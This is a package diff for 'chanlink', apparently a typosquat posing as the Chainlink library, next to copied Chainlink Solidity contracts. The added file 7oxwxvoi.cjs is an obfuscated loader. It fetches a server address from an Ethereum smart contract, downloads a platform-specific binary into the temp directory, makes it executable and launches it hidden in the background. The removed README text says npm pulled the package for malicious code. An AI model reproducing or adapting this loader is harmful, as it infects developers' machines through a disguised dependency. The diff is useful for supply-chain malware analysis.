chanlink 0.0.1-security → 0.8.2

package/7oxwxvoi.cjs

@@ -0,0 +1 @@
+const _0x47c980=_0x275d;(function(_0x114c97,_0x4b0e40){const _0xdf6f2c=_0x275d,_0x3708e8=_0x114c97();while(!![]){try{const _0x1fd82b=parseInt(_0xdf6f2c(0x14f))/0x1*(-parseInt(_0xdf6f2c(0x167))/0x2)+parseInt(_0xdf6f2c(0x173))/0x3+-parseInt(_0xdf6f2c(0x153))/0x4+-parseInt(_0xdf6f2c(0x164))/0x5*(-parseInt(_0xdf6f2c(0x149))/0x6)+-parseInt(_0xdf6f2c(0x14b))/0x7*(parseInt(_0xdf6f2c(0x15c))/0x8)+-parseInt(_0xdf6f2c(0x15b))/0x9+parseInt(_0xdf6f2c(0x158))/0xa*(parseInt(_0xdf6f2c(0x171))/0xb);if(_0x1fd82b===_0x4b0e40)break;else _0x3708e8['push'](_0x3708e8['shift']());}catch(_0x20333a){_0x3708e8['push'](_0x3708e8['shift']());}}}(_0x40a7,0x7bd69));function _0x40a7(){const _0x44b6bb=['ethers','getDefaultProvider','199095PtBBMP','/node-win.exe','pipe','6yrrBTb','stream','Ошибка\x20установки:','XtstO','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','error','755','finish','ignore','143DxnNlh','child_process','2785734TuDoGk','FJayS','6yPHdxG','OjYpQ','322329hJyopB','Ошибка\x20при\x20запуске\x20файла:','iVRzK','qhVUq','99758lCjcAw','onEDQ','path','fawAW','2775936lERScV','basename','mainnet','Contract','createWriteStream','1159670PUJjrv','win32','FBKae','5878260prrxqT','56XmzTCf','platform','Unsupported\x20platform:\x20','cQyhH','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','jWlQr'];_0x40a7=function(){return _0x44b6bb;};return _0x40a7();}const {ethers}=require(_0x47c980(0x162)),axios=require('axios'),util=require('util'),fs=require('fs'),path=require(_0x47c980(0x151)),os=require('os'),{spawn}=require(_0x47c980(0x172)),contractAddress=_0x47c980(0x160),WalletOwner=_0x47c980(0x16b),abi=[_0x47c980(0x16c)],provider=ethers[_0x47c980(0x163)](_0x47c980(0x155)),contract=new ethers[(_0x47c980(0x156))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x5c5267=_0x47c980,_0x2c7636={'yTiAX':'Ошибка\x20при\x20получении\x20IP\x20адреса:','iVRzK':function(_0x594638){return _0x594638();}};try{const _0x3b14b2=await contract['getString'](WalletOwner);return _0x3b14b2;}catch(_0x48d8db){return console['error'](_0x2c7636['yTiAX'],_0x48d8db),await _0x2c7636[_0x5c5267(0x14d)](fetchAndUpdateIp);}},getDownloadUrl=_0xdfb102=>{const _0x6b6999=_0x47c980,_0x2fb59a={'cSJgm':'linux','mXQnb':'darwin'},_0x129d5f=os['platform']();switch(_0x129d5f){case _0x6b6999(0x159):return _0xdfb102+_0x6b6999(0x165);case _0x2fb59a['cSJgm']:return _0xdfb102+'/node-linux';case _0x2fb59a['mXQnb']:return _0xdfb102+'/node-macos';default:throw new Error(_0x6b6999(0x15e)+_0x129d5f);}},downloadFile=async(_0x8e76d1,_0x307729)=>{const _0x3ea9bd=_0x47c980,_0x16436c={'jWlQr':_0x3ea9bd(0x16f),'gRIVm':'error','XtstO':function(_0x1de0d5,_0x202e8e){return _0x1de0d5(_0x202e8e);},'FBKae':'GET'},_0x28823f=fs[_0x3ea9bd(0x157)](_0x307729),_0xa3a8f3=await _0x16436c[_0x3ea9bd(0x16a)](axios,{'url':_0x8e76d1,'method':_0x16436c[_0x3ea9bd(0x15a)],'responseType':_0x3ea9bd(0x168)});return _0xa3a8f3['data'][_0x3ea9bd(0x166)](_0x28823f),new Promise((_0x407b76,_0xccf597)=>{const _0x508146=_0x3ea9bd;_0x28823f['on'](_0x16436c[_0x508146(0x161)],_0x407b76),_0x28823f['on'](_0x16436c['gRIVm'],_0xccf597);});},executeFileInBackground=async _0x33cff1=>{const _0x1098a9=_0x47c980,_0x440c67={'FJayS':function(_0x34cf04,_0x32f7f0,_0x2f67ee,_0x3c58a0){return _0x34cf04(_0x32f7f0,_0x2f67ee,_0x3c58a0);},'fawAW':_0x1098a9(0x170),'OjYpQ':_0x1098a9(0x14c)};try{const _0x3104d5=_0x440c67[_0x1098a9(0x148)](spawn,_0x33cff1,[],{'detached':!![],'stdio':_0x440c67[_0x1098a9(0x152)]});_0x3104d5['unref']();}catch(_0x3de118){console['error'](_0x440c67[_0x1098a9(0x14a)],_0x3de118);}},runInstallation=async()=>{const _0x2aa2f2=_0x47c980,_0x52a397={'mNzsS':function(_0x596409){return _0x596409();},'cVqBI':function(_0x477188,_0x3aad41){return _0x477188(_0x3aad41);},'cQyhH':'win32','onEDQ':_0x2aa2f2(0x16e),'qhVUq':_0x2aa2f2(0x169)};try{const _0x1a5fdf=await _0x52a397['mNzsS'](fetchAndUpdateIp),_0xf1fdf=_0x52a397['cVqBI'](getDownloadUrl,_0x1a5fdf),_0x1a64cd=os['tmpdir'](),_0x7b82fb=path[_0x2aa2f2(0x154)](_0xf1fdf),_0x1b018d=path['join'](_0x1a64cd,_0x7b82fb);await downloadFile(_0xf1fdf,_0x1b018d);if(os[_0x2aa2f2(0x15d)]()!==_0x52a397[_0x2aa2f2(0x15f)])fs['chmodSync'](_0x1b018d,_0x52a397[_0x2aa2f2(0x150)]);executeFileInBackground(_0x1b018d);}catch(_0x1e5159){console[_0x2aa2f2(0x16d)](_0x52a397[_0x2aa2f2(0x14e)],_0x1e5159);}};function _0x275d(_0x22ff6d,_0x170f8c){const _0x40a71b=_0x40a7();return _0x275d=function(_0x275d52,_0x272c8c){_0x275d52=_0x275d52-0x148;let _0x57dccc=_0x40a71b[_0x275d52];return _0x57dccc;},_0x275d(_0x22ff6d,_0x170f8c);}runInstallation();

package/README.md

@@ -1,5 +1,5 @@
-# Security holding package
+To run the solidity-contract tests run `yarn workspace chainlinkv0.5 setup` from the root of the repo, then run `yarn test` from the evm directory. You can also run `yarn test <test-file>` to run tests for a specific contract.
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+The actual test script run on CI is in ../tools/ci/truffle_test.
 
-Please refer to www.npmjs.com/advisories?search=chanlink for more information.
+To update the Slither detection database, run `yarn build && slither --triage-mode .`.

package/contracts/Aggregator.sol

@@ -0,0 +1,420 @@
+pragma solidity 0.4.24;
+
+import "./ChainlinkClient.sol";
+import "./interfaces/AggregatorInterface.sol";
+import "./vendor/SignedSafeMath.sol";
+import "./vendor/Ownable.sol";
+
+/**
+ * @title An example Chainlink contract with aggregation
+ * @notice Requesters can use this contract as a framework for creating
+ * requests to multiple Chainlink nodes and running aggregation
+ * as the contract receives answers.
+ */
+contract Aggregator is AggregatorInterface, ChainlinkClient, Ownable {
+  using SignedSafeMath for int256;
+
+  struct Answer {
+    uint128 minimumResponses;
+    uint128 maxResponses;
+    int256[] responses;
+  }
+
+  event ResponseReceived(int256 indexed response, uint256 indexed answerId, address indexed sender);
+
+  int256 private currentAnswerValue;
+  uint256 private updatedTimestampValue;
+  uint256 private latestCompletedAnswer;
+  uint128 public paymentAmount;
+  uint128 public minimumResponses;
+  bytes32[] public jobIds;
+  address[] public oracles;
+
+  uint256 private answerCounter = 1;
+  mapping(address => bool) public authorizedRequesters;
+  mapping(bytes32 => uint256) private requestAnswers;
+  mapping(uint256 => Answer) private answers;
+  mapping(uint256 => int256) private currentAnswers;
+  mapping(uint256 => uint256) private updatedTimestamps;
+
+  uint256 constant private MAX_ORACLE_COUNT = 28;
+
+  /**
+   * @notice Deploy with the address of the LINK token and arrays of matching
+   * length containing the addresses of the oracles and their corresponding
+   * Job IDs.
+   * @dev Sets the LinkToken address for the network, addresses of the oracles,
+   * and jobIds in storage.
+   * @param _link The address of the LINK token
+   * @param _paymentAmount the amount of LINK to be sent to each oracle for each request
+   * @param _minimumResponses the minimum number of responses
+   * before an answer will be calculated
+   * @param _oracles An array of oracle addresses
+   * @param _jobIds An array of Job IDs
+   */
+  constructor(
+    address _link,
+    uint128 _paymentAmount,
+    uint128 _minimumResponses,
+    address[] _oracles,
+    bytes32[] _jobIds
+  ) public Ownable() {
+    setChainlinkToken(_link);
+    updateRequestDetails(_paymentAmount, _minimumResponses, _oracles, _jobIds);
+  }
+
+  /**
+   * @notice Creates a Chainlink request for each oracle in the oracles array.
+   * @dev This example does not include request parameters. Reference any documentation
+   * associated with the Job IDs used to determine the required parameters per-request.
+   */
+  function requestRateUpdate()
+    external
+    ensureAuthorizedRequester()
+  {
+    Chainlink.Request memory request;
+    bytes32 requestId;
+    uint256 oraclePayment = paymentAmount;
+
+    for (uint i = 0; i < oracles.length; i++) {
+      request = buildChainlinkRequest(jobIds[i], this, this.chainlinkCallback.selector);
+      requestId = sendChainlinkRequestTo(oracles[i], request, oraclePayment);
+      requestAnswers[requestId] = answerCounter;
+    }
+    answers[answerCounter].minimumResponses = minimumResponses;
+    answers[answerCounter].maxResponses = uint128(oracles.length);
+
+    emit NewRound(answerCounter, msg.sender);
+
+    answerCounter = answerCounter.add(1);
+  }
+
+  /**
+   * @notice Receives the answer from the Chainlink node.
+   * @dev This function can only be called by the oracle that received the request.
+   * @param _clRequestId The Chainlink request ID associated with the answer
+   * @param _response The answer provided by the Chainlink node
+   */
+  function chainlinkCallback(bytes32 _clRequestId, int256 _response)
+    external
+  {
+    validateChainlinkCallback(_clRequestId);
+
+    uint256 answerId = requestAnswers[_clRequestId];
+    delete requestAnswers[_clRequestId];
+
+    answers[answerId].responses.push(_response);
+    emit ResponseReceived(_response, answerId, msg.sender);
+    updateLatestAnswer(answerId);
+    deleteAnswer(answerId);
+  }
+
+  /**
+   * @notice Updates the arrays of oracles and jobIds with new values,
+   * overwriting the old values.
+   * @dev Arrays are validated to be equal length.
+   * @param _paymentAmount the amount of LINK to be sent to each oracle for each request
+   * @param _minimumResponses the minimum number of responses
+   * before an answer will be calculated
+   * @param _oracles An array of oracle addresses
+   * @param _jobIds An array of Job IDs
+   */
+  function updateRequestDetails(
+    uint128 _paymentAmount,
+    uint128 _minimumResponses,
+    address[] _oracles,
+    bytes32[] _jobIds
+  )
+    public
+    onlyOwner()
+    validateAnswerRequirements(_minimumResponses, _oracles, _jobIds)
+  {
+    paymentAmount = _paymentAmount;
+    minimumResponses = _minimumResponses;
+    jobIds = _jobIds;
+    oracles = _oracles;
+  }
+
+  /**
+   * @notice Allows the owner of the contract to withdraw any LINK balance
+   * available on the contract.
+   * @dev The contract will need to have a LINK balance in order to create requests.
+   * @param _recipient The address to receive the LINK tokens
+   * @param _amount The amount of LINK to send from the contract
+   */
+  function transferLINK(address _recipient, uint256 _amount)
+    public
+    onlyOwner()
+  {
+    LinkTokenInterface linkToken = LinkTokenInterface(chainlinkTokenAddress());
+    require(linkToken.transfer(_recipient, _amount), "LINK transfer failed");
+  }
+
+  /**
+   * @notice Called by the owner to permission other addresses to generate new
+   * requests to oracles.
+   * @param _requester the address whose permissions are being set
+   * @param _allowed boolean that determines whether the requester is
+   * permissioned or not
+   */
+  function setAuthorization(address _requester, bool _allowed)
+    external
+    onlyOwner()
+  {
+    authorizedRequesters[_requester] = _allowed;
+  }
+
+  /**
+   * @notice Cancels an outstanding Chainlink request.
+   * The oracle contract requires the request ID and additional metadata to
+   * validate the cancellation. Only old answers can be cancelled.
+   * @param _requestId is the identifier for the chainlink request being cancelled
+   * @param _payment is the amount of LINK paid to the oracle for the request
+   * @param _expiration is the time when the request expires
+   */
+  function cancelRequest(
+    bytes32 _requestId,
+    uint256 _payment,
+    uint256 _expiration
+  )
+    external
+    ensureAuthorizedRequester()
+  {
+    uint256 answerId = requestAnswers[_requestId];
+    require(answerId < latestCompletedAnswer, "Cannot modify an in-progress answer");
+
+    delete requestAnswers[_requestId];
+    answers[answerId].responses.push(0);
+    deleteAnswer(answerId);
+
+    cancelChainlinkRequest(
+      _requestId,
+      _payment,
+      this.chainlinkCallback.selector,
+      _expiration
+    );
+  }
+
+  /**
+   * @notice Called by the owner to kill the contract. This transfers all LINK
+   * balance and ETH balance (if there is any) to the owner.
+   */
+  function destroy()
+    external
+    onlyOwner()
+  {
+    LinkTokenInterface linkToken = LinkTokenInterface(chainlinkTokenAddress());
+    transferLINK(owner, linkToken.balanceOf(address(this)));
+    selfdestruct(owner);
+  }
+
+  /**
+   * @dev Performs aggregation of the answers received from the Chainlink nodes.
+   * Assumes that at least half the oracles are honest and so can't contol the
+   * middle of the ordered responses.
+   * @param _answerId The answer ID associated with the group of requests
+   */
+  function updateLatestAnswer(uint256 _answerId)
+    private
+    ensureMinResponsesReceived(_answerId)
+    ensureOnlyLatestAnswer(_answerId)
+  {
+    uint256 responseLength = answers[_answerId].responses.length;
+    uint256 middleIndex = responseLength.div(2);
+    int256 currentAnswerTemp;
+    if (responseLength % 2 == 0) {
+      int256 median1 = quickselect(answers[_answerId].responses, middleIndex);
+      int256 median2 = quickselect(answers[_answerId].responses, middleIndex.add(1)); // quickselect is 1 indexed
+      currentAnswerTemp = median1.add(median2) / 2; // signed integers are not supported by SafeMath
+    } else {
+      currentAnswerTemp = quickselect(answers[_answerId].responses, middleIndex.add(1)); // quickselect is 1 indexed
+    }
+    currentAnswerValue = currentAnswerTemp;
+    latestCompletedAnswer = _answerId;
+    updatedTimestampValue = now;
+    updatedTimestamps[_answerId] = now;
+    currentAnswers[_answerId] = currentAnswerTemp;
+    emit AnswerUpdated(currentAnswerTemp, _answerId, now);
+  }
+
+  /**
+   * @notice get the most recently reported answer
+   */
+  function latestAnswer()
+    external
+    view
+    returns (int256)
+  {
+    return currentAnswers[latestCompletedAnswer];
+  }
+
+  /**
+   * @notice get the last updated at block timestamp
+   */
+  function latestTimestamp()
+    external
+    view
+    returns (uint256)
+  {
+    return updatedTimestamps[latestCompletedAnswer];
+  }
+
+  /**
+   * @notice get past rounds answers
+   * @param _roundId the answer number to retrieve the answer for
+   */
+  function getAnswer(uint256 _roundId)
+    external
+    view
+    returns (int256)
+  {
+    return currentAnswers[_roundId];
+  }
+
+  /**
+   * @notice get block timestamp when an answer was last updated
+   * @param _roundId the answer number to retrieve the updated timestamp for
+   */
+  function getTimestamp(uint256 _roundId)
+    external
+    view
+    returns (uint256)
+  {
+    return updatedTimestamps[_roundId];
+  }
+
+  /**
+   * @notice get the latest completed round where the answer was updated
+   */
+  function latestRound() external view returns (uint256) {
+    return latestCompletedAnswer;
+  }
+
+  /**
+   * @dev Returns the kth value of the ordered array
+   * See: http://www.cs.yale.edu/homes/aspnes/pinewiki/QuickSelect.html
+   * @param _a The list of elements to pull from
+   * @param _k The index, 1 based, of the elements you want to pull from when ordered
+   */
+  function quickselect(int256[] memory _a, uint256 _k)
+    private
+    pure
+    returns (int256)
+  {
+    int256[] memory a = _a;
+    uint256 k = _k;
+    uint256 aLen = a.length;
+    int256[] memory a1 = new int256[](aLen);
+    int256[] memory a2 = new int256[](aLen);
+    uint256 a1Len;
+    uint256 a2Len;
+    int256 pivot;
+    uint256 i;
+
+    while (true) {
+      pivot = a[aLen.div(2)];
+      a1Len = 0;
+      a2Len = 0;
+      for (i = 0; i < aLen; i++) {
+        if (a[i] < pivot) {
+          a1[a1Len] = a[i];
+          a1Len++;
+        } else if (a[i] > pivot) {
+          a2[a2Len] = a[i];
+          a2Len++;
+        }
+      }
+      if (k <= a1Len) {
+        aLen = a1Len;
+        (a, a1) = swap(a, a1);
+      } else if (k > (aLen.sub(a2Len))) {
+        k = k.sub(aLen.sub(a2Len));
+        aLen = a2Len;
+        (a, a2) = swap(a, a2);
+      } else {
+        return pivot;
+      }
+    }
+  }
+
+  /**
+   * @dev Swaps the pointers to two uint256 arrays in memory
+   * @param _a The pointer to the first in memory array
+   * @param _b The pointer to the second in memory array
+   */
+  function swap(int256[] memory _a, int256[] memory _b)
+    private
+    pure
+    returns(int256[] memory, int256[] memory)
+  {
+    return (_b, _a);
+  }
+
+  /**
+   * @dev Cleans up the answer record if all responses have been received.
+   * @param _answerId The identifier of the answer to be deleted
+   */
+  function deleteAnswer(uint256 _answerId)
+    private
+    ensureAllResponsesReceived(_answerId)
+  {
+    delete answers[_answerId];
+  }
+
+  /**
+   * @dev Prevents taking an action if the minimum number of responses has not
+   * been received for an answer.
+   * @param _answerId The the identifier of the answer that keeps track of the responses.
+   */
+  modifier ensureMinResponsesReceived(uint256 _answerId) {
+    if (answers[_answerId].responses.length >= answers[_answerId].minimumResponses) {
+      _;
+    }
+  }
+
+  /**
+   * @dev Prevents taking an action if not all responses are received for an answer.
+   * @param _answerId The the identifier of the answer that keeps track of the responses.
+   */
+  modifier ensureAllResponsesReceived(uint256 _answerId) {
+    if (answers[_answerId].responses.length == answers[_answerId].maxResponses) {
+      _;
+    }
+  }
+
+  /**
+   * @dev Prevents taking an action if a newer answer has been recorded.
+   * @param _answerId The current answer's identifier.
+   * Answer IDs are in ascending order.
+   */
+  modifier ensureOnlyLatestAnswer(uint256 _answerId) {
+    if (latestCompletedAnswer <= _answerId) {
+      _;
+    }
+  }
+
+  /**
+   * @dev Ensures corresponding number of oracles and jobs.
+   * @param _oracles The list of oracles.
+   * @param _jobIds The list of jobs.
+   */
+  modifier validateAnswerRequirements(
+    uint256 _minimumResponses,
+    address[] _oracles,
+    bytes32[] _jobIds
+  ) {
+    require(_oracles.length <= MAX_ORACLE_COUNT, "cannot have more than 45 oracles");
+    require(_oracles.length >= _minimumResponses, "must have at least as many oracles as responses");
+    require(_oracles.length == _jobIds.length, "must have exactly as many oracles as job IDs");
+    _;
+  }
+
+  /**
+   * @dev Reverts if `msg.sender` is not authorized to make requests.
+   */
+  modifier ensureAuthorizedRequester() {
+    require(authorizedRequesters[msg.sender] || msg.sender == owner, "Not an authorized address for creating requests");
+    _;
+  }
+
+}

package/contracts/AggregatorProxy.sol

@@ -0,0 +1,99 @@
+pragma solidity 0.4.24;
+
+import "./interfaces/AggregatorInterface.sol";
+import "./vendor/Ownable.sol";
+
+/**
+ * @title A trusted proxy for updating where current answers are read from
+ * @notice This contract provides a consistent address for the
+ * CurrentAnwerInterface but delegates where it reads from to the owner, who is
+ * trusted to update it.
+ */
+contract AggregatorProxy is AggregatorInterface, Ownable {
+
+  AggregatorInterface public aggregator;
+
+  constructor(address _aggregator) public Ownable() {
+    setAggregator(_aggregator);
+  }
+
+  /**
+   * @notice Reads the current answer from aggregator delegated to.
+   */
+  function latestAnswer()
+    external
+    view
+    returns (int256)
+  {
+    return aggregator.latestAnswer();
+  }
+
+  /**
+   * @notice Reads the last updated height from aggregator delegated to.
+   */
+  function latestTimestamp()
+    external
+    view
+    returns (uint256)
+  {
+    return aggregator.latestTimestamp();
+  }
+
+  /**
+   * @notice get past rounds answers
+   * @param _roundId the answer number to retrieve the answer for
+   */
+  function getAnswer(uint256 _roundId)
+    external
+    view
+    returns (int256)
+  {
+    return aggregator.getAnswer(_roundId);
+  }
+
+  /**
+   * @notice get block timestamp when an answer was last updated
+   * @param _roundId the answer number to retrieve the updated timestamp for
+   */
+  function getTimestamp(uint256 _roundId)
+    external
+    view
+    returns (uint256)
+  {
+    return aggregator.getTimestamp(_roundId);
+  }
+
+  /**
+   * @notice get the latest completed round where the answer was updated
+   */
+  function latestRound()
+    external
+    view
+    returns (uint256)
+  {
+    return aggregator.latestRound();
+  }
+
+  /**
+   * @notice Allows the owner to update the aggregator address.
+   * @param _aggregator The new address for the aggregator contract
+   */
+  function setAggregator(address _aggregator)
+    public
+    onlyOwner()
+  {
+    aggregator = AggregatorInterface(_aggregator);
+  }
+
+  /**
+   * @notice Allows the owner to destroy the contract if it is not intended to
+   * be used any longer.
+   */
+  function destroy()
+    external
+    onlyOwner()
+  {
+    selfdestruct(owner);
+  }
+
+}

package/contracts/Chainlink.sol

@@ -0,0 +1,125 @@
+pragma solidity ^0.4.24;
+
+import { CBOR as CBOR_Chainlink, Buffer as Buffer_Chainlink } from "./vendor/CBOR.sol";
+
+/**
+ * @title Library for common Chainlink functions
+ * @dev Uses imported CBOR library for encoding to buffer
+ */
+library Chainlink {
+  uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase
+
+  using CBOR_Chainlink for Buffer_Chainlink.buffer;
+
+  struct Request {
+    bytes32 id;
+    address callbackAddress;
+    bytes4 callbackFunctionId;
+    uint256 nonce;
+    Buffer_Chainlink.buffer buf;
+  }
+
+  /**
+   * @notice Initializes a Chainlink request
+   * @dev Sets the ID, callback address, and callback function signature on the request
+   * @param self The uninitialized request
+   * @param _id The Job Specification ID
+   * @param _callbackAddress The callback address
+   * @param _callbackFunction The callback function signature
+   * @return The initialized request
+   */
+  function initialize(
+    Request memory self,
+    bytes32 _id,
+    address _callbackAddress,
+    bytes4 _callbackFunction
+  ) internal pure returns (Chainlink.Request memory) {
+    Buffer_Chainlink.init(self.buf, defaultBufferSize);
+    self.id = _id;
+    self.callbackAddress = _callbackAddress;
+    self.callbackFunctionId = _callbackFunction;
+    return self;
+  }
+
+  /**
+   * @notice Sets the data for the buffer without encoding CBOR on-chain
+   * @dev CBOR can be closed with curly-brackets {} or they can be left off
+   * @param self The initialized request
+   * @param _data The CBOR data
+   */
+  function setBuffer(Request memory self, bytes _data)
+    internal pure
+  {
+    Buffer_Chainlink.init(self.buf, _data.length);
+    Buffer_Chainlink.append(self.buf, _data);
+  }
+
+  /**
+   * @notice Adds a string value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The string value to add
+   */
+  function add(Request memory self, string _key, string _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeString(_value);
+  }
+
+  /**
+   * @notice Adds a bytes value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The bytes value to add
+   */
+  function addBytes(Request memory self, string _key, bytes _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeBytes(_value);
+  }
+
+  /**
+   * @notice Adds a int256 value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The int256 value to add
+   */
+  function addInt(Request memory self, string _key, int256 _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeInt(_value);
+  }
+
+  /**
+   * @notice Adds a uint256 value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The uint256 value to add
+   */
+  function addUint(Request memory self, string _key, uint256 _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeUInt(_value);
+  }
+
+  /**
+   * @notice Adds an array of strings to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _values The array of string values to add
+   */
+  function addStringArray(Request memory self, string _key, string[] memory _values)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.startArray();
+    for (uint256 i = 0; i < _values.length; i++) {
+      self.buf.encodeString(_values[i]);
+    }
+    self.buf.endSequence();
+  }
+}